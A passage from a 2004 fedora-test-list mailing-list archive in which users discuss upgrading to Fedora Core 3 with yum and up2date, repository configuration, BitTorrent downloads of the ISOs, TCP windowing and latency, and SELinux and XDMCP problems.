libxml2-python > > > > > > I know with FC2 there were issues with upgrading using up2date so I > > ended up using the DVD to do a system upgrade. > > A silly question but... Have you commented the Development branch, and > uncommented the fedora, and fedora updates section? > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list From fedora at wir-sind-cool.org Mon Nov 8 18:08:16 2004 From: fedora at wir-sind-cool.org (Michael Schwendt) Date: Mon, 8 Nov 2004 19:08:16 +0100 Subject: Any advantage to downloading newly released isos if using FC3RC5 In-Reply-To: <418FB0F4.5080500@stardel.com> References: <418FB0F4.5080500@stardel.com> Message-ID: <20041108190816.7a4e8ea0.fedora@wir-sind-cool.org> On Mon, 08 Nov 2004 10:46:28 -0700, Elaine Normandy wrote: > I did an install (not an upgrade) of Fedora Core 3 Release Candidate 5. > Is there any reason to download the iso's released today? I am doing a > yum update as I write. I've used rsync to update the RC5 isos, and it saved *a lot* of bandwidth and time, especially for discs 2-4. Using the final release burnt to CD-RW, I'd like to do a fresh install to be sure it's really FC3, also with regard to what Anaconda might add in post-install configuration. -- Fedora Core release 2 (Tettnang) - Linux 2.6.9-1.2_FC2 loadavg: 2.07 2.10 2.34 From ron.flory at adtran.com Mon Nov 8 18:13:45 2004 From: ron.flory at adtran.com (RON FLORY) Date: Mon, 08 Nov 2004 12:13:45 -0600 Subject: telnet server problem In-Reply-To: <604aa791041108092346420560@mail.gmail.com> References: <418F991B.1060509@redhat.com> <418FA849.2050008@adtran.com> <604aa791041108092346420560@mail.gmail.com> Message-ID: <418FB759.40409@adtran.com> Jeff Spaleta wrote: > On Mon, 08 Nov 2004 11:09:29 -0600, RON FLORY wrote: > >> I have seen the problem he reported occur even when SELinux is >>disabled. > > > did you file a bugreport when it was occuring? > I can't reproduce this on my test box, and ive not seen anything > obvious in bugzilla that looks related. this might have existed at > some point, and later fixed by a development tree update...but afaict > it was never reported in bugzilla, but my bugfoo might no longer be as > strong as it was and i missed it in my searches. Regardless the issue > is pretty moot now if its only observable when running a test release. > I encourage to retest this issue on a fresh fc3 install and report > into bugzilla if its still occuring. It appeared 'broken' when I last tried it on plain FC3T3 (too lazy to investigate further), but it sure seems to work fine on a FC3T3rc5 machine just a few moments ago... ;) ron From nbc at cisco.com Mon Nov 8 18:18:12 2004 From: nbc at cisco.com (Neil B. Cohen) Date: Mon, 08 Nov 2004 13:18:12 -0500 Subject: Downloading ISOs In-Reply-To: <1099783733.7376.3.camel@family> References: <1099778567.10244.3.camel@localhost.localdomain> <1099783733.7376.3.camel@family> Message-ID: <1099937893.3186.26.camel@nbc-linux.cisco.com> A couple of quick questions... 1) I'm behind a firewall and I can't open any ports, so I assume that bittorrent is not the way to go - is that correct? I'd like to share, but the corporate firewall is way outside of my control :) 2) I'm looking at the ISOs at http://download.fedora.redhat.com/pub/fedora/linux/core/3/i386/iso/ The date on the files is Nov 3. Are these the final release files? Can I download and burn them now? Thanks very much - and thanks to all those who have put this release together. I've run into some minor problems during testing and I got lots of help from several people along the way... nbc NAME: Neil B. Cohen (Cisco Systems Inc.) PHONE: 703-484-1316 DOMAIN: nbc at cisco.com ************************************************************* * Murphy's Philosophy: Smile - tomorrow will be worse... * * * * O'Tooles Commentary: Murphy was an optimist! * ************************************************************* From jspaleta at gmail.com Mon Nov 8 18:19:37 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 8 Nov 2004 13:19:37 -0500 Subject: telnet server problem In-Reply-To: <418FB759.40409@adtran.com> References: <418F991B.1060509@redhat.com> <418FA849.2050008@adtran.com> <604aa791041108092346420560@mail.gmail.com> <418FB759.40409@adtran.com> Message-ID: <604aa79104110810192b94c57c@mail.gmail.com> On Mon, 08 Nov 2004 12:13:45 -0600, RON FLORY wrote: > It appeared 'broken' when I last tried it on plain FC3T3 (too lazy > to investigate further), but it sure seems to work fine on a > FC3T3rc5 machine just a few moments ago... ;) so its a non-issue.... nothing to see here... move along -jef From balay at fastmail.fm Mon Nov 8 18:31:19 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 8 Nov 2004 12:31:19 -0600 (CST) Subject: Downloading ISOs In-Reply-To: <1099937893.3186.26.camel@nbc-linux.cisco.com> References: <1099778567.10244.3.camel@localhost.localdomain> <1099783733.7376.3.camel@family> <1099937893.3186.26.camel@nbc-linux.cisco.com> Message-ID: On Mon, 8 Nov 2004, Neil B. Cohen wrote: > A couple of quick questions... > > 1) I'm behind a firewall and I can't open any ports, so I assume that > bittorrent is not the way to go - is that correct? I'd like to share, > but the corporate firewall is way outside of my control :) As long as you can initiate connections from behind the firewall - BT will still work fine. The drawback being - the pool of machines you can connect to is smaller (only those that have open ports for BT) Currently I'm behind a firewall and I have: download: 330 KB/s upload: 550 KB/s Satish From greg at gulik.org Mon Nov 8 18:36:20 2004 From: greg at gulik.org (Gregory Gulik) Date: Mon, 08 Nov 2004 12:36:20 -0600 Subject: Any advantage to downloading newly released isos if using FC3RC5 In-Reply-To: <418FB2ED.4030101@firebox.com> References: <418FB0F4.5080500@stardel.com> <418FB179.3020900@gulik.org> <418FB2ED.4030101@firebox.com> Message-ID: <418FBCA4.4010305@gulik.org> Of course not, that's why I was asking. I couldn't figure it out in the yum configuration but in the rhn/sources I found the lines and changed them as follows: yum fedora-core-3 http://download.fedora.redhat.com/pub/fedora/linux/core/3/$ARCH/os/ yum updates-released-fc3 http://download.fedora.redhat.com/pub/fedora/linux/core/updates/3/$ARCH/ yum-mirror fedora-core-3 http://fedora.redhat.com/download/up2date-mirrors/fedora-core-3 yum-mirror updates-released-fc3 http://fedora.redhat.com/download/up2date-mirrors/updates-released-fc3 #yum updates-testing http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/$ARCH/ #yum-mirror updates-testing http://fedora.redhat.com/download/up2date-mirrors/updates-testing-fc3 #yum development http://download.fedora.redhat.com/pub/fedora/linux/core/development/$ARCH/ #yum-mirror development http://fedora.redhat.com/download/up2date-mirrors/fedora-core-rawhide I tried that and it's still not working, probably because the servers are being hammered right now. Douglas Furlong wrote: > A silly question but... Have you commented the Development branch, and > uncommented the fedora, and fedora updates section? > -- Greg Gulik http://www.gulik.org/greg/ greg @ gulik.org From ndbecker2 at verizon.net Mon Nov 8 18:36:33 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Mon, 08 Nov 2004 13:36:33 -0500 Subject: yum update trouble Cannot find a valid baseurl for repo: base Message-ID: I'm stumped. I have 2 machines. One (i386) is updating fine from rawhide -> FC3. The other x86_64 is saying: yum update Setting up Update Process Setting up Repo: base Cannot find a valid baseurl for repo: base In /etc/repos.d: fedora.repo: [base] name=Fedora Core $releasever - $basearch - Base #baseurl=http://download.fedora.redhat.com/pub/fedora/linux/core/$releasever/$basearch/os/ mirrorlist=http://fedora.redhat.com/download/mirrors/fedora-core-$releasever enabled=1 gpgcheck=1 /etc/redhat-release: Fedora Core release 3 Even trying yum -d 9 is no more informative. From douglas.furlong at firebox.com Mon Nov 8 18:40:12 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Mon, 08 Nov 2004 18:40:12 +0000 Subject: Any advantage to downloading newly released isos if using FC3RC5 In-Reply-To: <418FBCA4.4010305@gulik.org> References: <418FB0F4.5080500@stardel.com> <418FB179.3020900@gulik.org> <418FB2ED.4030101@firebox.com> <418FBCA4.4010305@gulik.org> Message-ID: <418FBD8C.7020400@firebox.com> Gregory Gulik wrote: > Douglas Furlong wrote: > >> A silly question but... Have you commented the Development branch, >> and uncommented the fedora, and fedora updates section? >> > Of course not, that's why I was asking. > I couldn't figure it out in the yum configuration but in the > rhn/sources I found the lines and changed them as follows: > > yum fedora-core-3 > http://download.fedora.redhat.com/pub/fedora/linux/core/3/$ARCH/os/ > yum updates-released-fc3 > http://download.fedora.redhat.com/pub/fedora/linux/core/updates/3/$ARCH/ > > yum-mirror fedora-core-3 > http://fedora.redhat.com/download/up2date-mirrors/fedora-core-3 > yum-mirror updates-released-fc3 > http://fedora.redhat.com/download/up2date-mirrors/updates-released-fc3 > > #yum updates-testing > http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/$ARCH/ > > #yum-mirror updates-testing > http://fedora.redhat.com/download/up2date-mirrors/updates-testing-fc3 > > #yum development > http://download.fedora.redhat.com/pub/fedora/linux/core/development/$ARCH/ > > #yum-mirror development > http://fedora.redhat.com/download/up2date-mirrors/fedora-core-rawhide > > > I tried that and it's still not working, probably because the servers > are being hammered right now. I don't suppose you could not top post it makes things much easier (for me at least). For me, I downloaded the latest fedora-release rpm and yum rpm from a mirror, rpm -Uvh those, this sets up yum to use mirror lists. A lot of them are still saying permission denied but with a couple of retries you eventually get a working mirror. I have done that on two boxes now and it all worked fine. For future reference yum now uses /etc/yum.repos.d to hold indevidual files for repo's, their fairly simple to understand. Doug From douglas.furlong at firebox.com Mon Nov 8 18:44:34 2004 From: douglas.furlong at firebox.com (Douglas Furlong) Date: Mon, 08 Nov 2004 18:44:34 +0000 Subject: Any advantage to downloading newly released isos if using FC3RC5 In-Reply-To: <418FBD8C.7020400@firebox.com> References: <418FB0F4.5080500@stardel.com> <418FB179.3020900@gulik.org> <418FB2ED.4030101@firebox.com> <418FBCA4.4010305@gulik.org> <418FBD8C.7020400@firebox.com> Message-ID: <418FBE92.60005@firebox.com> Douglas Furlong wrote: > Gregory Gulik wrote: > >> Douglas Furlong wrote: >> >>> A silly question but... Have you commented the Development branch, >>> and uncommented the fedora, and fedora updates section? >>> >> Of course not, that's why I was asking. >> I couldn't figure it out in the yum configuration but in the >> rhn/sources I found the lines and changed them as follows: >> >> yum fedora-core-3 >> http://download.fedora.redhat.com/pub/fedora/linux/core/3/$ARCH/os/ >> yum updates-released-fc3 >> http://download.fedora.redhat.com/pub/fedora/linux/core/updates/3/$ARCH/ >> >> yum-mirror fedora-core-3 >> http://fedora.redhat.com/download/up2date-mirrors/fedora-core-3 >> yum-mirror updates-released-fc3 >> http://fedora.redhat.com/download/up2date-mirrors/updates-released-fc3 >> >> #yum updates-testing >> http://download.fedora.redhat.com/pub/fedora/linux/core/updates/testing/3/$ARCH/ >> >> #yum-mirror updates-testing >> http://fedora.redhat.com/download/up2date-mirrors/updates-testing-fc3 >> >> #yum development >> http://download.fedora.redhat.com/pub/fedora/linux/core/development/$ARCH/ >> >> #yum-mirror development >> http://fedora.redhat.com/download/up2date-mirrors/fedora-core-rawhide >> >> >> I tried that and it's still not working, probably because the servers >> are being hammered right now. > > > I don't suppose you could not top post it makes things much easier > (for me at least). > > For me, I downloaded the latest fedora-release rpm and yum rpm from a > mirror, rpm -Uvh those, this sets up yum to use mirror lists. > > A lot of them are still saying permission denied but with a couple of > retries you eventually get a working mirror. > > I have done that on two boxes now and it all worked fine. > > For future reference yum now uses /etc/yum.repos.d to hold indevidual > files for repo's, their fairly simple to understand. > > Doug > For the lazy, or less educated ;) http://ftp.heanet.ie/mirrors/download.fedora.redhat.com/pub/fedora/linux/core/3/i386/os/Fedora/RPMS/fedora-release-3-8.i386.rpm http://ftp.heanet.ie/mirrors/download.fedora.redhat.com/pub/fedora/linux/core/3/i386/os/Fedora/RPMS/yum-2.1.11-3.noarch.rpm Doug From greg at gulik.org Mon Nov 8 18:50:21 2004 From: greg at gulik.org (Gregory Gulik) Date: Mon, 08 Nov 2004 12:50:21 -0600 Subject: Any advantage to downloading newly released isos if using FC3RC5 In-Reply-To: <418FBE92.60005@firebox.com> References: <418FB0F4.5080500@stardel.com> <418FB179.3020900@gulik.org> <418FB2ED.4030101@firebox.com> <418FBCA4.4010305@gulik.org> <418FBD8C.7020400@firebox.com> <418FBE92.60005@firebox.com> Message-ID: <418FBFED.8050103@gulik.org> Thanks, that helps a lot... One of my CS professors once said that all programmers are lazy. They want to get computers to do their work for them. Douglas Furlong wrote: > For the lazy, or less educated ;) > > http://ftp.heanet.ie/mirrors/download.fedora.redhat.com/pub/fedora/linux/core/3/i386/os/Fedora/RPMS/fedora-release-3-8.i386.rpm > > http://ftp.heanet.ie/mirrors/download.fedora.redhat.com/pub/fedora/linux/core/3/i386/os/Fedora/RPMS/yum-2.1.11-3.noarch.rpm -- Greg Gulik http://www.gulik.org/greg/ greg @ gulik.org From skvidal at phy.duke.edu Mon Nov 8 19:16:08 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 08 Nov 2004 14:16:08 -0500 Subject: Any advantage to downloading newly released isos if using FC3RC5 In-Reply-To: <20041108180338.4857.qmail@webmail01.mesa1.secureserver.net> References: <20041108180338.4857.qmail@webmail01.mesa1.secureserver.net> Message-ID: <1099941368.15004.32.camel@opus.phy.duke.edu> On Mon, 2004-11-08 at 13:03, Brian Callahan wrote: > OK I want to try the yum upgrade from FC3T3 to FC Final also. What are > the steps ? What files do I have to edit ? > Rough instructions: http://linux.duke.edu/~skvidal/misc/fc2-fc3-update-with-yum.txt -sv From skvidal at phy.duke.edu Mon Nov 8 18:38:32 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 08 Nov 2004 13:38:32 -0500 Subject: yum update trouble Cannot find a valid baseurl for repo: base In-Reply-To: References: Message-ID: <1099939111.15004.26.camel@opus.phy.duke.edu> On Mon, 2004-11-08 at 13:36, Neal D. Becker wrote: > I'm stumped. I have 2 machines. One (i386) is updating fine from rawhide > -> FC3. The other x86_64 is saying: > > yum update > Setting up Update Process > Setting up Repo: base > Cannot find a valid baseurl for repo: base > > In /etc/repos.d: > fedora.repo: > [base] > name=Fedora Core $releasever - $basearch - Base > #baseurl=http://download.fedora.redhat.com/pub/fedora/linux/core/$releasever/$basearch/os/ > mirrorlist=http://fedora.redhat.com/download/mirrors/fedora-core-$releasever try editing the last line there to: mirrorlist=http://fedora.redhat.com/download/mirrors/fedora-core-3 I'm betting your release-ver is wrong: rpm -q fedora-release -sv From ndbecker2 at verizon.net Mon Nov 8 19:40:39 2004 From: ndbecker2 at verizon.net (Neal D. Becker) Date: Mon, 08 Nov 2004 14:40:39 -0500 Subject: yum update trouble Cannot find a valid baseurl for repo: base References: <1099939111.15004.26.camel@opus.phy.duke.edu> Message-ID: seth vidal wrote: > On Mon, 2004-11-08 at 13:36, Neal D. Becker wrote: >> I'm stumped. I have 2 machines. One (i386) is updating fine from >> rawhide >> -> FC3. The other x86_64 is saying: >> >> yum update >> Setting up Update Process >> Setting up Repo: base >> Cannot find a valid baseurl for repo: base >> >> In /etc/repos.d: >> fedora.repo: >> [base] >> name=Fedora Core $releasever - $basearch - Base >> #baseurl=http://download.fedora.redhat.com/pub/fedora/linux/core/$releasever/$basearch/os/ >> mirrorlist=http://fedora.redhat.com/download/mirrors/fedora-core-$releasever > > > try editing the last line there to: > mirrorlist=http://fedora.redhat.com/download/mirrors/fedora-core-3 > > I'm betting your release-ver is wrong: > > rpm -q fedora-release > > -sv > > I had hand-edited /etc/fedora-release, but maybe there was some typo. I don't know. I grabbed fedora-release RPM, updated, mv'd all /etc/repos.d/*.rpmnew over originals, then everything is working. From skvidal at phy.duke.edu Mon Nov 8 19:43:42 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Mon, 08 Nov 2004 14:43:42 -0500 Subject: yum update trouble Cannot find a valid baseurl for repo: base In-Reply-To: References: <1099939111.15004.26.camel@opus.phy.duke.edu> Message-ID: <1099943021.15004.36.camel@opus.phy.duke.edu> > I had hand-edited /etc/fedora-release, but maybe there was some typo. I > don't know. I grabbed fedora-release RPM, updated, mv'd > all /etc/repos.d/*.rpmnew over originals, then everything is working. the file /etc/fedora-release is not AT ANY TIME consulted by tum. -sv From jspaleta at gmail.com Mon Nov 8 19:46:47 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Mon, 8 Nov 2004 14:46:47 -0500 Subject: yum update trouble Cannot find a valid baseurl for repo: base In-Reply-To: References: <1099939111.15004.26.camel@opus.phy.duke.edu> Message-ID: <604aa79104110811467ac4a867@mail.gmail.com> On Mon, 08 Nov 2004 14:40:39 -0500, Neal D. Becker wrote: > I had hand-edited /etc/fedora-release, but maybe there was some typo. I > don't know. I grabbed fedora-release RPM, updated, mv'd > all /etc/repos.d/*.rpmnew over originals, then everything is working. you didnt answer the question, and I think you are making an invalid assumption. Hand editting /etc/fedora-release is not sufficient. man yum.conf $releasever This will be replaced with the value of the version of the pack- age listed in distroverpkg. This defaults to the version of the package redhat-release yum does not read the string in /etc/fedora-release, yum queries the rpmdb and asks what the version of fedora-release package that you have installed from the rpm database. -jef From udayreddy at gmail.com Mon Nov 8 18:12:23 2004 From: udayreddy at gmail.com (Uday Kumar Reddy) Date: Mon, 8 Nov 2004 13:12:23 -0500 Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: <20041108163653.GA30747@srv01.cluenet.de> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <4989.12.29.16.103.1099930915.squirrel@whooper.org> <20041108163653.GA30747@srv01.cluenet.de> Message-ID: <5c4229700411081012d926c6a@mail.gmail.com> On Mon, 8 Nov 2004 17:36:53 +0100, Daniel Roesen wrote: > On Mon, Nov 08, 2004 at 11:21:55AM -0500, William Hooper wrote: > > > doesn't bittorrent work better when there are more people using it? > > > shouldn't everybody be using the same torrent? > > > > In theory, yes everybody should be using the same torrent. In practice, > > though, having a torrent for two geographical locations (one Americas, one > > Europe) prevents your torrent client from having to go over the slow, > > across the ocean links. > > The problem are not "slow transoceanic links" per se as I hardly > experience any congestion issue on those nowadays. > > The problem is the delay those longhaul links generate, and thus > limit TCP performance massively. > > Ever seen FTP with more than about 3mbit/s transatlantic? No? This is > NOT because of a lack of bandwidth! > > So the aim of seperating trackers is not avoiding small bandwidth links, > but high RTT (delay) links, which directly affects TCP performance. I understand what you are saying. But, isn't it that the link delay doesn't matter for large transfers? For large transfers, the link delay is just reflected as the startup time. So, an 'n' mbps link whether it is transatlantic or close-by would almost take the same time to transfer data for _large_ files/streams. So, I think its congestion that justifies having seperate trackers. -- Uday > > Best regards, > Daniel > > -- > CLUE-RIPE -- Jabber: dr at cluenet.de -- dr at IRCnet -- PGP: 0xA85C8AA0 > > > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From kyrre at solution-forge.net Mon Nov 8 19:58:45 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Mon, 08 Nov 2004 20:58:45 +0100 Subject: FC3 test 3 and xdmcp access In-Reply-To: <418F8B0F.5050102@BaerSolutions.com> References: <418D707D.2070800@BaerSolutions.com> <1099790763.8160.2.camel@family> <418E6FD3.6030202@BaerSolutions.com> <1099854404.4385.6.camel@kyrre> <418F8B0F.5050102@BaerSolutions.com> Message-ID: <1099943921.2682.3.camel@kyrre> man, 08.11.2004 kl. 16.04 skrev R. Scott Baer: > >What do you mean? Has XDMCP been activated by *default*? Or did a > >package upgrade turn XDMCP off (even if you had manualy enable it?) > > > > > > > Via the gui, the check mark is still present, which should let me access > my box via XDMCP. > But it does not. I'm assuming that a package upgrade disabled XDMCP, > turned it off, where their is no link between the gui configuration and > the actual functionality. It seems to be broken. > > Has anyone else been able to confirm this ?? > > Scott No, but you should maybe file a bug... From tolan at bgz-consultants.com Mon Nov 8 20:15:39 2004 From: tolan at bgz-consultants.com (Tolan Blundell) Date: Mon, 08 Nov 2004 20:15:39 +0000 Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: <5c4229700411081012d926c6a@mail.gmail.com> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <4989.12.29.16.103.1099930915.squirrel@whooper.org> <20041108163653.GA30747@srv01.cluenet.de> <5c4229700411081012d926c6a@mail.gmail.com> Message-ID: <418FD3EB.5030303@bgz-consultants.com> Uday Kumar Reddy wrote: > I understand what you are saying. But, isn't it that the link delay > doesn't matter for large transfers? For large transfers, the link > delay is just reflected as the startup time. So, an 'n' mbps link > whether it is transatlantic or close-by would almost take the same > time to transfer data for _large_ files/streams. So, I think its > congestion that justifies having seperate trackers. Bittorrent has *lots* of little connections. The Azureus client I use for example defaults to a maximum of 100 connections per torrent and 1000 connections total. Tolan. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From dwalsh at redhat.com Mon Nov 8 20:46:13 2004 From: dwalsh at redhat.com (Daniel J Walsh) Date: Mon, 08 Nov 2004 15:46:13 -0500 Subject: apache problem? In-Reply-To: <42370.192.80.55.74.1099914121.squirrel@192.80.55.74> References: <20041105115609.08ecddb0@huii.local> <1099652995.4037.31.camel@fusie.creativ-consulting.de> <1099658224.6373.14.camel@moss-spartans.epoch.ncsc.mil> <1099676791.3922.5.camel@nexus.verbum.private> <418C083B.10607@redhat.com> <42370.192.80.55.74.1099914121.squirrel@192.80.55.74> Message-ID: <418FDB15.5010706@redhat.com> Daniel Segall wrote: >I tried upgrading the 2 selinux-policy-targeted packages from your page, >and I still get the same problems. I'm not seeing any specific errors in >the message log, just a bunch of initialized messages from SEL. Is there >something else that needs to be done to enable this? Has that Apache + SEL >doc surfaced yet? > >Thanks, >-Dan > > > >>This is a bug in targeted policy. Basically there is code in the policy >>to allow apache to read nfs files but it is >>turned off in the release. >> >>I have update the policy file on >>ftp://people.redhat.com/dwalsh/SELinux/FC3 >>to allow this (This is a yum repository.) >>selinux-policy-targeted-1.17.30-2.20 >> >>Or you can try out the latest policy from rawhide >>selinux-policy-targeted-1.18.1-* >> >>Both should have a fix for this. >> >> > > > > I am setting up a test to duplicate your environment to see if I see a problem. Dan From dr at cluenet.de Mon Nov 8 20:57:53 2004 From: dr at cluenet.de (Daniel Roesen) Date: Mon, 8 Nov 2004 21:57:53 +0100 Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: <5c4229700411081012d926c6a@mail.gmail.com> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <4989.12.29.16.103.1099930915.squirrel@whooper.org> <20041108163653.GA30747@srv01.cluenet.de> <5c4229700411081012d926c6a@mail.gmail.com> Message-ID: <20041108205753.GA745@srv01.cluenet.de> On Mon, Nov 08, 2004 at 01:12:23PM -0500, Uday Kumar Reddy wrote: > > So the aim of seperating trackers is not avoiding small bandwidth links, > > but high RTT (delay) links, which directly affects TCP performance. > > I understand what you are saying. But, isn't it that the link delay > doesn't matter for large transfers? For large transfers, the link > delay is just reflected as the startup time. So, an 'n' mbps link > whether it is transatlantic or close-by would almost take the same > time to transfer data for _large_ files/streams. No, this is wrong, exactly the other way 'round. TCP has a concept of "windowing" where it limits the amount of data which can be in-flight without having received an ACKnowledgement of receipt from the receiver. The window is initially very small and grows larger over time. This is the so-called "slow start". The window doesn't grow infinite though, so you you'll arrive at some maximum size. Let it be 16K, 32K, 64K... depending on OS, version etc. Now you can calculate how much unACKed data can be "on wire" on a given latency link at once and thus calculate the maximum theoretically possible throughput of that link which is characterized by the latency. A good explanation with formula can be found here: http://www.psc.edu/networking/projects/tcptune/ > So, I think its congestion that justifies having seperate trackers. Nope. Best regards, Daniel -- CLUE-RIPE -- Jabber: dr at cluenet.de -- dr at IRCnet -- PGP: 0xA85C8AA0 From Fulko.Hew at sita.aero Mon Nov 8 22:30:23 2004 From: Fulko.Hew at sita.aero (Fulko.Hew at sita.aero) Date: Mon, 8 Nov 2004 17:30:23 -0500 Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] Message-ID: Daniel Roesen added: > On Mon, Nov 08, 2004 at 01:12:23PM -0500, Uday Kumar Reddy wrote: > > > So the aim of seperating trackers is not avoiding small bandwidth links, > > > but high RTT (delay) links, which directly affects TCP performance. > > > > I understand what you are saying. But, isn't it that the link delay > > doesn't matter for large transfers? For large transfers, the link > > delay is just reflected as the startup time. So, an 'n' mbps link > > whether it is transatlantic or close-by would almost take the same > > time to transfer data for _large_ files/streams. > > No, this is wrong, exactly the other way 'round. > > TCP has a concept of "windowing" where it limits the amount of data > which can be in-flight without having received an ACKnowledgement of > receipt from the receiver. The window is initially very small and grows > larger over time. This is the so-called "slow start". The window > doesn't grow infinite though, so you you'll arrive at some maximum > size. Let it be 16K, 32K, 64K... depending on OS, version etc. Now > you can calculate how much unACKed data can be "on wire" on a given > latency link at once and thus calculate the maximum theoretically > possible throughput of that link which is characterized by the latency. Thats the problem with fast links! I don't remember how fast the link has to be before its an issue, but at some point the max window size does not allow the pipe to maintain its fullness before the sender has to stop and wait for an ack. TCP was designed for low speed links. Some of these LANs and WANs are _no longer_ 'low speed'. :-( From mbetrancourt at gmail.com Mon Nov 8 21:12:13 2004 From: mbetrancourt at gmail.com (Mathieu Betrancourt) Date: Mon, 8 Nov 2004 22:12:13 +0100 Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> Message-ID: <26743c1041108131277ef06dd@mail.gmail.com> > Also the eurpoean torrent (posted on fedora-list) > > http://sunsite.mff.cuni.cz/fedora-torrent/ I don't find the link on the fedora website, It might not be better if this link was advertised ? regards, mat From balay at fastmail.fm Mon Nov 8 21:21:02 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 8 Nov 2004 15:21:02 -0600 (CST) Subject: FC3 Torrents available? [Was: FC3 ISOs alerady online?] In-Reply-To: <26743c1041108131277ef06dd@mail.gmail.com> References: <418EDF57.2070503@azathoth.net> <1099883772.12311.1.camel@x1-6-00-0a-e6-c7-6f-d8> <32977.81.191.130.121.1099907375.squirrel@81.191.130.121> <1099922940.3384.134.camel@localhost.localdomain> <26743c1041108131277ef06dd@mail.gmail.com> Message-ID: On Mon, 8 Nov 2004, Mathieu Betrancourt wrote: > > Also the eurpoean torrent (posted on fedora-list) > > > > http://sunsite.mff.cuni.cz/fedora-torrent/ > > I don't find the link on the fedora website, > > It might not be better if this link was advertised ? Both links are advertised in the 'fc3-announcement' http://www.redhat.com/archives/fedora-announce-list/2004-November/msg00002.html Satish From tim at birdsnest.maths.tcd.ie Mon Nov 8 20:33:19 2004 From: tim at birdsnest.maths.tcd.ie (Timothy Murphy) Date: Mon, 8 Nov 2004 20:33:19 +0000 Subject: Update, stable and testing repositories for FC-3 ? Message-ID: <200411082033.19856.tim@birdsnest.maths.tcd.ie> What repositories will "go with" FC-3. in the same way that eg ====================================== [fedora-us-stable] name=Fedora Linux (stable) for Fedora Core $releasever -- Fedora US mirror baseurl=http://mirrors.usc.edu/pub/linux/fedora/fedora/fedora/$releasever/$basearch/RPMS.stable ====================================== went with FC-2. Can I keep the same yum.conf with entries like this? -- Timothy Murphy e-mail (<80k only): tim /at/ birdsnest.maths.tcd.ie tel: +353-86-2336090, +353-1-2842366 s-mail: School of Mathematics, Trinity College, Dublin 2, Ireland From dave at dpomeroy.com Mon Nov 8 12:20:14 2004 From: dave at dpomeroy.com (dave) Date: Mon, 08 Nov 2004 12:20:14 +0000 Subject: bittorrent Message-ID: <418F647E.3020304@dpomeroy.com> I'm trying to get bittorrent running on my amd64 box. I'm using FC2 x86_64. I just can't seem to make it work. Can anyone help me out. Dave -- Dave Pomeroy K7DNP South Eastern Washington From ndbecker2 at verizon.net Mon Nov 8 21:47:27 2004 From: ndbecker2 at verizon.net (Neal Becker) Date: Mon, 08 Nov 2004 16:47:27 -0500 Subject: yum update trouble Cannot find a valid baseurl for repo: base References: <1099939111.15004.26.camel@opus.phy.duke.edu> <1099943021.15004.36.camel@opus.phy.duke.edu> Message-ID: seth vidal wrote: > >> I had hand-edited /etc/fedora-release, but maybe there was some typo. I >> don't know. I grabbed fedora-release RPM, updated, mv'd >> all /etc/repos.d/*.rpmnew over originals, then everything is working. > > the file /etc/fedora-release is not AT ANY TIME consulted by tum. > OK I misread man yum.conf then. In any case, the problem is gone. From balay at fastmail.fm Mon Nov 8 22:32:18 2004 From: balay at fastmail.fm (Satish Balay) Date: Mon, 8 Nov 2004 16:32:18 -0600 (CST) Subject: bittorrent In-Reply-To: <418F647E.3020304@dpomeroy.com> References: <418F647E.3020304@dpomeroy.com> Message-ID: On Mon, 8 Nov 2004, dave wrote: > I'm trying to get bittorrent running on my amd64 box. I'm using FC2 x86_64. > I just can't seem to make it work. Can anyone help me out. What's the problem? (not that I've run BT on x86_64 - but I'm thinking it shouldn't be any different) - Make sure python is installed - install bittorrent rpm - or download/untar source.tar.gz - run: btdownloadcurses.py --url http://torrent.linux.duke.edu/heidelberg-binary-i386.torrent Satish From fayoeu at gmail.com Mon Nov 8 22:39:07 2004 From: fayoeu at gmail.com (Fa Yoeu) Date: Mon, 8 Nov 2004 14:39:07 -0800 Subject: bittorrent In-Reply-To: <418F647E.3020304@dpomeroy.com> References: <418F647E.3020304@dpomeroy.com> Message-ID: I just grab the tarball and run it from the directory after unrolling it. I always had problems trying to run the rpm ones. On Mon, 08 Nov 2004 12:20:14 +0000, dave wrote: > I'm trying to get bittorrent running on my amd64 box. I'm using FC2 > x86_64. I just can't seem to make it work. Can anyone help me out. > Dave > > -- > Dave Pomeroy K7DNP South Eastern Washington > > -- > fedora-test-list mailing list > fedora-test-list at redhat.com > To unsubscribe: > http://www.redhat.com/mailman/listinfo/fedora-test-list > From dwalsh at redhat.com Mon Nov 8 23:08:37 